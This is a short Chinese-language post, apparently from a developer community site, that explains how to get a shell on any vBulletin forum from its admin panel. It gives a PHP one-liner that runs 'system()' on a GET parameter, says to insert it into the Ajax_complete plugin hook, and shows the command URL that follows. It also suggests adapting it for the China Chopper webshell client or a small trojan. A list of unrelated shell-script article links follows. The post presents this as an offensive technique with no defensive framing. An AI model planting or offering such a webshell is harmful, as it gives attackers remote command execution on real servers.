vBulletin 论坛全版本 后台拿shell

简介:  在后台,进插件管理.添加插件.Ajax_complete 填入代码:1 if(isset($_GET['cmd'])){echo "cmd"; system($_GET['cmd']...
 

在后台,进插件管理.添加插件.

Ajax_complete 填入代码:1 if(isset($_GET['cmd'])){echo "<h1>cmd</h1><pre>"; system($_GET['cmd']);exit;}
1 if(isset($_GET['cmd'])){echo "<h1>cmd</h1><pre>"; system($_GET['cmd']);exit;}

激活mod

访问
www.site.com/forumlocation/ajax.php?cmd=command - 低调求发展& M1 O2 n- E$ Q2 X

比如
www.site.com/forumlocation/ajax.php?cmd=ls  就执行了ls的命令
 就是一个简单的get型一句话,也可以改成post型的,放入菜刀,或者写个put型的,生成一个小马


目录
相关文章
|
存储 Shell Linux
Linux编写一个极简版本的Shell
Linux编写一个极简版本的Shell
139 0
|
关系型数据库 Shell PHP
PHPCMS后台低权限拿SHELL
前提是需要有管理专题的权限 测试版本 PHPCMS程序版本:Phpcms V9.5.6 Release
|
关系型数据库 MySQL Shell
备份 MySQL 的 shell 脚本(mysqldump版本)
【4月更文挑战第28天】
181 0
|
Ubuntu Shell Linux
linux shell 后台执行脚本的方法 脚本后台运行 后台运行程
linux shell 后台执行脚本的方法 脚本后台运行 后台运行程
748 0
|
Shell Linux Python
centos7系统 shell脚本安装python3 各版本
centos7系统 shell脚本安装python3 各版本
390 0
|
Shell Linux C++
【Shell 编程设计】 编写自己的清理后台的Shell脚本
【Shell 编程设计】 编写自己的清理后台的Shell脚本
168 1
|
Kubernetes Shell 网络安全
Shell脚本快速部署Kubernetes(K8S v1.1版本)集群系统
Shell脚本快速部署Kubernetes(K8S v1.1版本)集群系统
|
Shell 网络安全
在Shell中,后台进程管理
在Shell中,后台进程管理
402 4
|
Shell
shell脚本之判断当前内核主版本是否为3,且次版本是否大于10
shell脚本之判断当前内核主版本是否为3,且次版本是否大于10
212 0
|
监控 Shell Linux
linux后台执行shell脚本
linux后台执行shell脚本
137 0